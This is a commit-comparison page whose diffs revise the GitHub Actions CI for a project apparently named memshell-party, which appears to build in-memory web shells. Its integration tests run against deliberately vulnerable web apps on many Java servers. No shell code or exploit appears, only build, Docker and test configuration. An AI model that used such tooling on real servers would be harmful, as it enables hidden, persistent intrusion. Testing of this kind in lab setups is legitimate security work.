Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9fa01834e7 | ||
|
|
85b7750ab8 | ||
|
|
9c5dc1fa9d | ||
|
|
a833e3acdd | ||
|
|
b12a8530f2 | ||
|
|
74701926b6 | ||
|
|
a371c6adb6 | ||
|
|
cd9c9ef162 | ||
|
|
d4ff5fdf65 | ||
|
|
1dc27116f1 | ||
|
|
f43218b5e1 | ||
|
|
04bbddee6b | ||
|
|
59cf8674f1 | ||
|
|
9572b90cef | ||
|
|
96044dc231 | ||
|
|
bae97ec554 | ||
|
|
b6ba3c632a | ||
|
|
453ef58b15 | ||
|
|
a37e32deb2 | ||
|
|
faee94d77e | ||
|
|
b0e2e218f0 | ||
|
|
6fee88d761 | ||
|
|
d6613f770a | ||
|
|
5627604ba9 | ||
|
|
c1e0fbbc18 | ||
|
|
74079d81ed | ||
|
|
9792f242ce | ||
|
|
3ae57d6b67 | ||
|
|
69f554ae4e | ||
|
|
8565dd9c52 | ||
|
|
021e0a3e9d | ||
|
|
dc958d49df | ||
|
|
5f83b52bc0 | ||
|
|
59bcd6aecf | ||
|
|
d1a2912428 | ||
|
|
006cce6a74 | ||
|
|
8d240f2a50 | ||
|
|
9d03c04dfa | ||
|
|
8e4dd5ab6a | ||
|
|
8ae71c5b6b | ||
|
|
566286a8fa | ||
|
|
9692ab6e7b | ||
|
|
c75cb2f8ef | ||
|
|
e31fcdeca9 | ||
|
|
f734e3c391 | ||
|
|
8558487b6c | ||
|
|
c5ad3e81cb | ||
|
|
18c0920c27 | ||
|
|
ddfa273938 | ||
|
|
4a1359a736 | ||
|
|
d197691bed | ||
|
|
f7e401bd46 | ||
|
|
cd10fe9a2c | ||
|
|
21acf71af6 | ||
|
|
bb8e4c7a7e | ||
|
|
627ecf6465 | ||
|
|
0658f103cc | ||
|
|
b134b5a5a7 | ||
|
|
cc6bed07a1 | ||
|
|
5d5f866744 | ||
|
|
cf82dd9470 | ||
|
|
b06a39d1b8 | ||
|
|
19faf77d5c | ||
|
|
a3704eb7b7 | ||
|
|
eeed6e45c7 | ||
|
|
3c1c1cb8fc | ||
|
|
26d72cb909 | ||
|
|
70c128ced1 | ||
|
|
dd2d9a8a3e | ||
|
|
ea955feccd | ||
|
|
6c84c44005 | ||
|
|
b581583dce | ||
|
|
a037e5d043 | ||
|
|
06dc282cff | ||
|
|
cae0a38a7a | ||
|
|
d69df0d1c1 | ||
|
|
942fa3ec68 | ||
|
|
f52efcb7a2 | ||
|
|
f55702ecda | ||
|
|
bc53918455 | ||
|
|
ac2b28c1f3 | ||
|
|
e68355df8b | ||
|
|
e4a5215f5f | ||
|
|
4f8ff51f8b | ||
|
|
fc9877aa3a | ||
|
|
8bb338d5a1 | ||
|
|
0e2abdecb3 | ||
|
|
f934e1e7ed | ||
|
|
330544c7f7 | ||
|
|
0fe51f8ec0 | ||
|
|
d2efb56dbc | ||
|
|
827462bcc6 | ||
|
|
e59678188a | ||
|
|
0ea1e7baba | ||
|
|
d0ee5c66bf | ||
|
|
0ee64df302 | ||
|
|
565d05340e | ||
|
|
761de0af90 | ||
|
|
50a9aec83c | ||
|
|
3ecdbf020d | ||
|
|
65d097c43d | ||
|
|
825c276d4e | ||
|
|
b8f3b67ba4 | ||
|
|
59621eefec | ||
|
|
a0e9dfbc85 | ||
|
|
98281f0eae | ||
|
|
2851c5d9e0 | ||
|
|
02bc358498 | ||
|
|
2fe3f82ebc | ||
|
|
8e89db5b96 | ||
|
|
8f46ea2e5e | ||
|
|
9299764994 | ||
|
|
d0b3ad2d95 | ||
|
|
29f854c6dd | ||
|
|
29d0d1b1e7 | ||
|
|
93fc7205cc | ||
|
|
f86675aee1 | ||
|
|
ecfe751f38 | ||
|
|
8e3dee8d13 | ||
|
|
6a899d9f92 | ||
|
|
7bb4890443 | ||
|
|
66c6403dd7 | ||
|
|
9fa0cdd089 | ||
|
|
abe55ba17e | ||
|
|
feb5a2b44a | ||
|
|
bc5e813064 | ||
|
|
bfb7280c47 | ||
|
|
8c9cb252db | ||
|
|
a441e468fb | ||
|
|
f280cddb67 | ||
|
|
b6de448171 | ||
|
|
81f42aae39 | ||
|
|
da5db939be | ||
|
|
e1540f1c05 | ||
|
|
accf83ac9d | ||
|
|
f57ee7536c | ||
|
|
ffd2a636f4 | ||
|
|
6b47b8e488 | ||
|
|
85e9eb8c70 | ||
|
|
47ea535fac | ||
|
|
540559653f | ||
|
|
8a0e3ee5de | ||
|
|
bc9ce37a52 | ||
|
|
02c7abd086 | ||
|
|
8eab3f5633 | ||
|
|
0f03072b56 | ||
|
|
2f59fc80fb | ||
|
|
901a2b3af0 | ||
|
|
8deff1c8d9 | ||
|
|
ad05c8f2da | ||
|
|
e228065aa0 | ||
|
|
af0135286d | ||
|
|
722da5560e | ||
|
|
b6e34e4beb | ||
|
|
3ced92f2d0 | ||
|
|
476d92f173 | ||
|
|
3c7fd8aca5 | ||
|
|
c93ab0e7e0 | ||
|
|
89cd4fef62 | ||
|
|
e6d9ddb210 | ||
|
|
a042900052 | ||
|
|
23d3628786 | ||
|
|
4a9217aa3a | ||
|
|
dd4832a5a8 | ||
|
|
db579ce39e | ||
|
|
4c70dc9148 | ||
|
|
d97ddbd1cc | ||
|
|
b8e91a3697 | ||
|
|
5d97780e34 | ||
|
|
a7751a0467 | ||
|
|
5abaa5bbc1 | ||
|
|
b3780135bb | ||
|
|
c1fefd3510 | ||
|
|
ff70a5f2fe | ||
|
|
d7faa6a59f | ||
|
|
675272a04c | ||
|
|
a284cbbd02 | ||
|
|
9073a97eec | ||
|
|
de2864b892 | ||
|
|
49819156ab | ||
|
|
452e057bd1 | ||
|
|
dfd6328494 | ||
|
|
b78f5dad1c | ||
|
|
fefe25cbce | ||
|
|
30a141c8d4 | ||
|
|
c95a6da29f | ||
|
|
688de30965 | ||
|
|
b7c6303966 | ||
|
|
e6d1aeac3c | ||
|
|
4f58e13c00 | ||
|
|
a47033d051 | ||
|
|
0192aa58ea | ||
|
|
00b807f5f8 | ||
|
|
cd189a74f7 | ||
|
|
690cfb833f | ||
|
|
45f2bb148d | ||
|
|
e7a14bf2e3 | ||
|
|
28fb25781b | ||
|
|
58f471ca2c | ||
|
|
db87c3f317 | ||
|
|
5635deff23 | ||
|
|
bda018b93f | ||
|
|
4d36c0bc8f | ||
|
|
ad4a0cf2bf | ||
|
|
9c820f9d29 | ||
|
|
a48442fcab | ||
|
|
68791f6c15 | ||
|
|
479b2a0c16 | ||
|
|
a148fa1cb9 | ||
|
|
116f1034b0 | ||
|
|
db55765fdf | ||
|
|
8b67d639bd | ||
|
|
cead11c781 | ||
|
|
43dc5ca398 | ||
|
|
ede78f3efc | ||
|
|
72370a3b84 | ||
|
|
ad248f0703 | ||
|
|
358f66ff01 | ||
|
|
76a78f14e0 | ||
|
|
33a9008ecb | ||
|
|
b27b40c543 | ||
|
|
74cc792dc6 | ||
|
|
348e86079a | ||
|
|
d4160d9a94 | ||
|
|
19c40e0e2d | ||
|
|
b49af93bec | ||
|
|
d9e3e03def | ||
|
|
bba2b2d211 | ||
|
|
56f0e8001d | ||
|
|
2f80ecb020 | ||
|
|
b3bda20f2c | ||
|
|
be5a2089d2 | ||
|
|
9d2e8125d9 | ||
|
|
8964769be8 | ||
|
|
3acab6e620 | ||
|
|
5148414ca8 | ||
|
|
0b10a55f66 | ||
|
|
cbf2d02808 | ||
|
|
775fc38abe | ||
|
|
6b3f4a2606 | ||
|
|
52c720572f | ||
|
|
5e2242665b | ||
|
|
cdd145d0b2 | ||
|
|
18aa8ed60d | ||
|
|
3e40763724 | ||
|
|
eda6134262 | ||
|
|
9d81160b33 | ||
|
|
115b57c62e | ||
|
|
1b8a845635 | ||
|
|
3ccbd14256 | ||
|
|
56510c89db | ||
|
|
358184f71b | ||
|
|
6ee9e31aa8 | ||
|
|
501f7a2d10 | ||
|
|
8b3c23241a | ||
|
|
3af560a5e0 | ||
|
|
a8d1b5e29a | ||
|
|
21f9af2f70 | ||
|
|
583abbf9ba | ||
|
|
e71f980991 | ||
|
|
d9c3bcb5dd | ||
|
|
61905e35ca | ||
|
|
27f3a7b206 | ||
|
|
bcb9d23f64 | ||
|
|
d993a54fa9 | ||
|
|
7eb8baeaf2 | ||
|
|
591375f522 | ||
|
|
6436d404d7 | ||
|
|
ef487f86d2 | ||
|
|
011f919e2a | ||
|
|
f8624f0e72 | ||
|
|
b287fcd36f | ||
|
|
7fb404f04f | ||
|
|
45dc276300 | ||
|
|
e811ca56ae | ||
|
|
58dd08754d | ||
|
|
6145918df7 | ||
|
|
6671dec9e6 | ||
|
|
f53c0655d4 | ||
|
|
1bcecaa151 | ||
|
|
e21b397699 | ||
|
|
cd870594b0 | ||
|
|
067dae90ff | ||
|
|
69b5b5e99f | ||
|
|
29edaf173a | ||
|
|
4f8ab4d16a | ||
|
|
ee3bab6876 | ||
|
|
6523ecd554 | ||
|
|
f97c0cd3db | ||
|
|
7da215bd35 | ||
|
|
8171da5df3 | ||
|
|
92e38ae004 | ||
|
|
6113ea717f | ||
|
|
a6cc7705c3 | ||
|
|
84b884a3d8 | ||
|
|
828b7b8400 | ||
|
|
786e58cafc | ||
|
|
5ce3e67dc4 | ||
|
|
94e29588bb | ||
|
|
fa1ca573ae | ||
|
|
78795f3b95 | ||
|
|
3efe814d30 | ||
|
|
8d7ed8c4ee | ||
|
|
cc58c2ef87 | ||
|
|
4f69497680 | ||
|
|
c046d466db | ||
|
|
9291281a4e | ||
|
|
50234947b7 | ||
|
|
075ce8c515 | ||
|
|
ca4c1d6e4b | ||
|
|
d4067caee5 | ||
|
|
cf65fbb53c | ||
|
|
962914fa8d | ||
|
|
f90f0f0713 | ||
|
|
a64238eea0 | ||
|
|
ce11635876 | ||
|
|
1015c55b6d | ||
|
|
8ed16fc818 | ||
|
|
24a9b563e6 | ||
|
|
8d5af74733 | ||
|
|
363d0591dc | ||
|
|
fe1a443c0d | ||
|
|
113b174837 | ||
|
|
f42424ba7c | ||
|
|
19ecd109fc | ||
|
|
9f763906ae | ||
|
|
be91430bd5 | ||
|
|
5bed6c877d | ||
|
|
633508ceda | ||
|
|
e26cb37805 | ||
|
|
3efda487e9 | ||
|
|
f92d7207c8 | ||
|
|
5540016f12 | ||
|
|
0402065457 | ||
|
|
9fae3847ae | ||
|
|
f4bc254ed3 | ||
|
|
a1d4a6d8fa | ||
|
|
7afa5d97f6 | ||
|
|
a6f5ee96d6 | ||
|
|
1f04701cc1 | ||
|
|
b272c9739b | ||
|
|
b5903f39fa | ||
|
|
99c53b6287 | ||
|
|
1dfc28cd33 | ||
|
|
c44ae3ad4f | ||
|
|
b5031012ba | ||
|
|
5340de9b71 | ||
|
|
f71657b11c | ||
|
|
d6612d7630 | ||
|
|
858212cd9c | ||
|
|
8e36beaad1 | ||
|
|
d511a8346f | ||
|
|
b8116ac0a5 | ||
|
|
155310a685 | ||
|
|
a6a1cff2c4 | ||
|
|
7ae28d5457 | ||
|
|
8a909971f1 | ||
|
|
371402c144 | ||
|
|
2b34b80e40 | ||
|
|
b694073f33 | ||
|
|
2f2ef8a774 | ||
|
|
86734f8485 | ||
|
|
393693b89b | ||
|
|
2da2e180cb | ||
|
|
8e741b6647 | ||
|
|
717c81571b | ||
|
|
2ec43d97dd | ||
|
|
c9a536d2fd | ||
|
|
74a919c6ec | ||
|
|
e123c7485e | ||
|
|
d6d10dead0 | ||
|
|
696814fd2c | ||
|
|
87147d738a | ||
|
|
c205e69563 | ||
|
|
dddbc15dd8 | ||
|
|
77ae8c1559 | ||
|
|
3fe380ef8a | ||
|
|
a54c307bd5 | ||
|
|
3d14f0113e | ||
|
|
b1d449538d | ||
|
|
4f1634a843 | ||
|
|
8fe2b47805 | ||
|
|
c30e99a92c | ||
|
|
5f4880e72a | ||
|
|
b7326a386b | ||
|
|
6b9655bb6c | ||
|
|
f9b109d922 | ||
|
|
ee82fc102d | ||
|
|
cfa4bfdb1d | ||
|
|
889d1d87c7 | ||
|
|
bea468a311 | ||
|
|
e31d8e751d | ||
|
|
92bda08567 | ||
|
|
d052177731 | ||
|
|
76dab18099 | ||
|
|
6e729d0e35 | ||
|
|
328939db6a | ||
|
|
32c5242c52 | ||
|
|
c860bbfd87 | ||
|
|
b32c9e701e | ||
|
|
41c193074e | ||
|
|
eaf6a81c85 | ||
|
|
22392829e5 | ||
|
|
65a7fd46e3 | ||
|
|
7dd02f4431 | ||
|
|
54f38e48d2 | ||
|
|
c232e64b13 | ||
|
|
78e9401492 | ||
|
|
a5c8058cad | ||
|
|
3189ef8f70 | ||
|
|
c859655e3a | ||
|
|
1272ee46b4 | ||
|
|
b83a72a3c8 | ||
|
|
89e4c796b4 | ||
|
|
ff3c1f2c49 | ||
|
|
2dc406df34 | ||
|
|
6c23a15034 | ||
|
|
6b81791ff5 | ||
|
|
6ba96f5e5a | ||
|
|
21df9f8273 | ||
|
|
4219f1ba9d | ||
|
|
0d69049506 | ||
|
|
385e1e0102 | ||
|
|
12fde31663 | ||
|
|
9f1f4b76aa | ||
|
|
4d1291f209 | ||
|
|
43653b2a1b | ||
|
|
514f13f515 | ||
|
|
ff69716423 | ||
|
|
fc431b9ace | ||
|
|
944e72f8c5 | ||
|
|
7be31dc481 | ||
|
|
dfc714862e | ||
|
|
c7c4b8be84 | ||
|
|
75019e9847 | ||
|
|
c6f13dde5e | ||
|
|
fcbec8db19 | ||
|
|
b9f307dd7b | ||
|
|
a895826bdb | ||
|
|
527dad824e | ||
|
|
534db31fa0 | ||
|
|
2b00c96a06 | ||
|
|
22e3b9ab24 | ||
|
|
901483c1db | ||
|
|
c9351dcd68 | ||
|
|
845fbd5529 | ||
|
|
fe2192396a | ||
|
|
63c0d89462 | ||
|
|
2436c707db | ||
|
|
c49d3e1909 | ||
|
|
7f9276364a | ||
|
|
57feb7809c | ||
|
|
6e330bb9c1 | ||
|
|
8fcca5b70e | ||
|
|
f3b3ca7b2e | ||
|
|
5ec6f6c3cc | ||
|
|
699169d277 | ||
|
|
6197d66ee8 | ||
|
|
7efbff4a45 | ||
|
|
37e336e088 | ||
|
|
65fb0a05df | ||
|
|
6bdc47a7d5 | ||
|
|
9ed876297a | ||
|
|
74cb677e98 | ||
|
|
13ddea499a | ||
|
|
82fddf702f | ||
|
|
8530797a54 | ||
|
|
6d12cbba36 | ||
|
|
992aa8a29d | ||
|
|
4ddf8dd3d1 | ||
|
|
6d7a665ba7 | ||
|
|
15e3af9374 | ||
|
|
c39075eaae | ||
|
|
6c523c55c7 | ||
|
|
bb76313410 | ||
|
|
1f4a19dd83 | ||
|
|
385de37d56 | ||
|
|
7ddf2c09c4 | ||
|
|
40c036ab92 | ||
|
|
59b0aeaaca | ||
|
|
3756197bab | ||
|
|
6020e5eaa9 | ||
|
|
9360408f6d | ||
|
|
0cd08f2a6c | ||
|
|
1ff8fa6128 | ||
|
|
c07fcc28a4 | ||
|
|
cfc4c0531f | ||
|
|
13cbbdb54f | ||
|
|
4feeca1ca8 | ||
|
|
64f8724903 | ||
|
|
4f4384838a | ||
|
|
c72ae586a2 | ||
|
|
d7a40f74b8 | ||
|
|
0e250cac90 | ||
|
|
209fc378d0 | ||
|
|
d541041f51 | ||
|
|
6617d9cc16 | ||
|
|
ec42992c8a | ||
|
|
3004221fad | ||
|
|
98b955673b | ||
|
|
a7cee2ea21 | ||
|
|
b6e6b69339 | ||
|
|
cc05dc3934 | ||
|
|
61bf9d25bb | ||
|
|
ffbe1e454b | ||
|
|
85576ab6c7 | ||
|
|
365f4efea0 | ||
|
|
a0d6cbee82 | ||
|
|
421f011974 | ||
|
|
0035d1f6a5 | ||
|
|
ba9a7878e0 | ||
|
|
75ea80f153 | ||
|
|
9c5aabb8f0 | ||
|
|
7887a48fa8 | ||
|
|
c07e1fcf19 | ||
|
|
d2036b87f4 | ||
|
|
b09b671831 | ||
|
|
d3d3c0186d | ||
|
|
706e2b06d4 | ||
|
|
e0345767d6 | ||
|
|
7d697fe2ec | ||
|
|
14c62376d7 | ||
|
|
065c111ad7 | ||
|
|
f3da4292bb | ||
|
|
ed51f01b29 | ||
|
|
81007167ff | ||
|
|
288766eb9c | ||
|
|
b8d4c91a1f | ||
|
|
46dff40932 | ||
|
|
f7bf419f31 | ||
|
|
9fe244e9ca | ||
|
|
b0ef130e87 | ||
|
|
714fa99c90 | ||
|
|
1a12d426dc | ||
|
|
00c36ab90d | ||
|
|
0e7aa6b0b0 | ||
|
|
96a00c9dcc | ||
|
|
886d808f31 | ||
|
|
b6c881c5cb | ||
|
|
400a7bfab7 | ||
|
|
b78984b858 | ||
|
|
21afe14ccd | ||
|
|
7fa4dee03b | ||
|
|
e718af7440 | ||
|
|
a530d77351 | ||
|
|
671aef548b | ||
|
|
9661eefc3e | ||
|
|
d620212eb0 | ||
|
|
7d3eb11be6 | ||
|
|
f0905d83a8 | ||
|
|
65c9d5847d | ||
|
|
bbeff2726d | ||
|
|
a20f760cd5 | ||
|
|
56d5410279 | ||
|
|
0cc70940c3 | ||
|
|
d148261a37 | ||
|
|
2660076eda | ||
|
|
05b85670d5 | ||
|
|
b904fe0851 | ||
|
|
c904f313e2 | ||
|
|
7a453faeb0 |
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
||||
args = parser.parse_args()
|
||||
version = args.version
|
||||
|
||||
with open("../../web/content/docs/changelog.mdx") as f:
|
||||
with open("../../CHANGELOG.md") as f:
|
||||
lines = f.readlines()
|
||||
for line in lines:
|
||||
if line.startswith(f"## [{version}]"):
|
||||
|
||||
@@ -12,10 +12,7 @@ on:
|
||||
jobs:
|
||||
build-jar:
|
||||
name: Build Jar
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
@@ -28,11 +25,6 @@ jobs:
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
node-version: 22
|
||||
|
||||
- name: Setup Bun
|
||||
uses: oven-sh/setup-bun@v2
|
||||
with:
|
||||
@@ -42,16 +34,10 @@ jobs:
|
||||
working-directory: web
|
||||
run: bun install --frozen-lockfile && bun run build
|
||||
|
||||
- name: Build Boot with Gradle (Linux)
|
||||
if: matrix.os == 'ubuntu-latest'
|
||||
run: ./gradlew :boot:test :boot:bootjar
|
||||
- name: Build Boot with Gradle
|
||||
run: ./gradlew :boot:bootjar -x test
|
||||
|
||||
- name: Build Boot with Gradle (Windows)
|
||||
if: matrix.os == 'windows-latest'
|
||||
run: ./gradlew.bat :boot:test :boot:bootjar
|
||||
|
||||
- name: Upload Boot Jar (Linux)
|
||||
if: matrix.os == 'ubuntu-latest'
|
||||
- name: Upload Boot Jar
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: boot
|
||||
|
||||
@@ -1,41 +0,0 @@
|
||||
name: Docker Build Test
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
- 'boot/**'
|
||||
- 'examples/**'
|
||||
- 'vul/**'
|
||||
- 'web/**'
|
||||
- '**.md'
|
||||
- '**/*.png'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
docker-build-test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
- name: Build Docker image
|
||||
run: |
|
||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||
docker images
|
||||
- name: Run Docker container
|
||||
run: |
|
||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||
sleep 10
|
||||
- name: Test with curl
|
||||
run: |
|
||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
||||
echo "Test successful!"
|
||||
else
|
||||
echo "Test failed!"
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,41 +0,0 @@
|
||||
name: docker-push
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
path:
|
||||
description: 'Path'
|
||||
required: true
|
||||
default: '/redqueen-memshell-party'
|
||||
tag:
|
||||
description: "Tag"
|
||||
required: true
|
||||
default: "redqueen"
|
||||
jobs:
|
||||
docker-push:
|
||||
name: Docker Push
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
build-args: |
|
||||
ROUTE_ROOT_PATH=${{ inputs.path }}
|
||||
CONTEXT_PATH=${{ inputs.path }}
|
||||
push: true
|
||||
tags: |
|
||||
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
||||
@@ -1,72 +0,0 @@
|
||||
name: Probe IntegrationTest
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- '**/probe/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
cases:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "wildfly"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "struct2"
|
||||
depend_tasks: ":vul:vul-struct2:war"
|
||||
runs-on: ubuntu-22.04
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
@@ -47,11 +47,6 @@ jobs:
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
node-version: 22
|
||||
|
||||
- name: Setup Bun
|
||||
uses: oven-sh/setup-bun@v2
|
||||
with:
|
||||
@@ -114,18 +109,6 @@ jobs:
|
||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||
ghcr.io/reajason/memshell-party:latest
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
build-args: |
|
||||
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
||||
CONTEXT_PATH=/redqueen-memshell-party
|
||||
push: true
|
||||
tags: |
|
||||
docker.io/reajason/memshell-party:redqueen
|
||||
|
||||
deploy-maven:
|
||||
name: Deploy to Maven Central
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
@@ -1,47 +0,0 @@
|
||||
name: Single IntegrationTest
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
depend_tasks:
|
||||
description: '前置构建任务,如 :boot:jar :generator:jar'
|
||||
required: false
|
||||
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
||||
type: string
|
||||
test_class:
|
||||
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
||||
required: true
|
||||
type: string
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
integration-test:
|
||||
runs-on: ubuntu-22.04
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
if: ${{ inputs.depend_tasks != '' }}
|
||||
run: ./gradlew ${{ inputs.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
@@ -1,21 +1,66 @@
|
||||
name: MemShell IntegrationTest
|
||||
name: Test
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- './github/workflows/memshell-integration-test.yml'
|
||||
- '**/memshell/**'
|
||||
- '**/packer/**'
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
- 'boot/**'
|
||||
- 'web/**'
|
||||
- '**.md'
|
||||
- '**/*.png'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
memshell-integration-test:
|
||||
unit-test:
|
||||
name: UniteTest
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Generator Unit Test with Gradle
|
||||
run: ./gradlew :generator:test
|
||||
|
||||
- name: Boot Unit Test with Gradle
|
||||
run: ./gradlew :boot:test
|
||||
|
||||
docker-build-test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
- name: Build Docker image
|
||||
run: |
|
||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||
docker images
|
||||
- name: Run Docker container
|
||||
run: |
|
||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||
sleep 10
|
||||
- name: Test with curl
|
||||
run: |
|
||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
||||
echo "Test successful!"
|
||||
else
|
||||
echo "Test failed!"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
integration-test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
@@ -27,7 +72,7 @@ jobs:
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "wildfly"
|
||||
